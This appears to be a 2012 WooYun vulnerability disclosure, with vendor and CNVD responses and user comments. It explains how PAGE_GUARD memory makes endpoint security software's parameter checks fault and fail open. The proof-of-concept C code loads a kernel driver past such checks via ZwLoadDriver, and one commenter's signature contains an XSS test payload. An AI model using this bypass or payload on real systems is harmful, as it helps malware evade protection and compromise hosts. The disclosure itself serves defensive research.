当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013160

漏洞标题:主动防御类软件的通用实现漏洞

相关厂商:客户端安全公司

漏洞作者: rhett

提交时间:2012-10-09 15:54

修复时间:2012-11-23 15:55

公开时间:2012-11-23 15:55

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-09: 细节已通知厂商并且等待厂商处理中
2012-10-12: 厂商已经确认,细节仅向厂商公开
2012-10-15: 细节向第三方安全合作伙伴开放
2012-12-06: 细节向核心白帽子及相关领域专家公开
2012-12-16: 细节向普通白帽子公开
2012-12-26: 细节向实习白帽子公开
2012-11-23: 细节向公众公开

简要描述:

主动防御类软件在实现上存在一个通用的漏洞,恶意软件可以借此绕过安全检查执行恶意行为

详细说明:

主防会拦截系统的一些关键操作,在这些监控点上做参数检查。因为参数往往来自用户态,所以参数检查的过程是在一个__try里面,防止访问违规造成crash。一般的模式类似如下:

bool bPass = true;
__try
{
bPass = check_paramters(p1,p2,p3); // p为参数
}
__except(1)
{
bPass = true;
}
return (bPass ? status_success : status_access_denied);


上面只是伪代码,意思是对参数进行检查,如果发现有恶意行为,那么返回拒绝,不允许执行。(实际远比这复杂,对参数会经过很多策略检查。结果也不是直接返回,有可能弹框由用户决策)。问题在于,如果访问参数的时候出现异常,那么后续的处理只好放过这个行为。问题就在这里,如果可以让主防访问参数出现异常,但是系统实际使用参数的时候却可以正常,那么主防的检查就被绕过了。这不是不可能,否则就不是漏洞!windows在内存管理上有个独特的地方,叫做PAGE_GUARD。对一段内存空间设置PAGE_GUARD属性后,对这部分内存的首次访问就会出现异常,后续访问则正常。所以,通过利用这个机制,加上对安全软件的检测和试验,上述的漏洞就可以很好的被利用了。

漏洞证明:

pStr = (PUNICODE_STRING)VirtualAlloc(NULL,PAGE_SIZE,MEM_COMMIT,PAGE_READWRITE);
if(!pStr)
{
_tprintf(_T("Alloc Str Failed\n"));
goto __Cleanup;
}
pStr->Length = (USHORT)(wcslen(SERVICE_PATH) * sizeof(WCHAR));
pStr->MaximumLength = pStr->Length + sizeof(WCHAR);
pStr->Buffer = (PWSTR)(pStr + 1);
wcscpy_s(pStr->Buffer,pStr->MaximumLength / sizeof(WCHAR),p);
//STATUS_SUCCESS
if(!VirtualProtect(pStr,PAGE_SIZE,PAGE_READWRITE | PAGE_GUARD,&dwOldProt))
{
_tprintf(_T("VirtualProtect Failed\n"));
goto __Cleanup;
}

if((status = ZwLoadDriver(pStr)) != 0)
{
_tprintf(_T("ZwLoadDriver Failed status = %x\n"),status);
goto __Cleanup;
}
_tprintf(_T("ZwLoadDriver Successfully\n"));

修复方案:

自己研究...
感谢 newtongao 和 garymao

版权声明:转载请注明来源 rhett@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-10-12 22:40

厂商回复:

根据近几日的跟踪,CNVD暂未直接在相关软件实例上复现,不过已认可进行绕过的这个思路,马其诺防线的绕过也是如此。
12日,CNVD已经向启明星辰、绿盟、东软、奇虎、天融信、安氏、安天、恒安嘉新等具备终端检测或网络侧防护产品的CNVD成员单位下发漏洞自查确认任务,待各单位17日后反馈。
最新情况将跟踪反馈,同时CNVD秘书处也将进行技术研判监督。
暂不按危害后果评分,思路很赞,rank 20

最新状态:

2012-10-15:15日,天融信公司首先反馈测试情况,确认漏洞机理以及复现部分过程。同时,根据rhett的成果发现一些其他新的技术细节。

2012-10-17:10月16日,根据安天公司测试反馈结果,对6款主流安全防护软件的测试结果表明,使用该思路的绕过技术可绕过4款产品当前版本的查杀,并使得其中两款产品主机蓝屏。


漏洞评价:

评论

这些评论似乎很乌云~~~思密达
  1. 2012-10-17 08:07 | cncert国家互联网应急中心(乌云厂商)

    @xsser 10月16日,根据安天公司测试反馈结果,对6款主流安全防护软件的测试结果表明,使用该思路的绕过技术可绕过4款产品当前版本的查杀,并使得其中两款产品主机蓝屏。

  1. 2012-10-09 17:01 | Mujj ( 实习白帽子 | Rank:58 漏洞数:4 | IDC商)

    先关注了

  2. 2012-10-09 17:23 | xti9er ( 实习白帽子 | Rank:43 漏洞数:6 )

    关注

  3. 2012-10-10 08:56 | adwin ( 普通白帽子 | Rank:112 漏洞数:11 | 小菜请多指教。)

    这个果断关注了。

  4. 2012-10-10 08:58 | NiceWorm ( 普通白帽子 | Rank:179 漏洞数:38 )

    关注通杀。。。

  5. 2012-10-12 23:28 | ttvip11 ( 路人 | Rank:2 漏洞数:1 | 这个人很懒,什么都不会)

    关注之

  6. 2012-10-13 00:35 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    cert威武啊

  7. 2012-10-13 08:39 | Defa ( 普通白帽子 | Rank:113 漏洞数:13 | <img src=1 onerror=alert(1)>)

    大神呐,

  8. 2012-10-13 22:58 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    厂商收了神通吧。

  9. 2012-10-15 08:35 | NiceWorm ( 普通白帽子 | Rank:179 漏洞数:38 )

    难道是Nikhil Mittal的思路?

  10. 2012-10-17 08:07 | cncert国家互联网应急中心(乌云厂商)

    @xsser 10月16日,根据安天公司测试反馈结果,对6款主流安全防护软件的测试结果表明,使用该思路的绕过技术可绕过4款产品当前版本的查杀,并使得其中两款产品主机蓝屏。

  11. 2012-10-18 03:42 | Mujj ( 实习白帽子 | Rank:58 漏洞数:4 | IDC商)

    @cncert国家互联网应急中心 碉堡

  12. 2012-10-18 09:13 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    碉堡~

  13. 2012-10-19 19:33 | zmx ( 实习白帽子 | Rank:70 漏洞数:9 | wooyun)

  14. 2012-11-11 23:03 | Passer_by ( 实习白帽子 | Rank:97 漏洞数:21 | 问题真实存在但是影响不大(腾讯微博Passer...)

    绿盟好像不做客户端安全的吧。。

  15. 2012-11-26 13:55 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    思路 很好

  16. 2012-11-26 15:54 | oneof ( 路人 | Rank:0 漏洞数:1 | 小菜一枚)

    又是我看不懂的高端黑……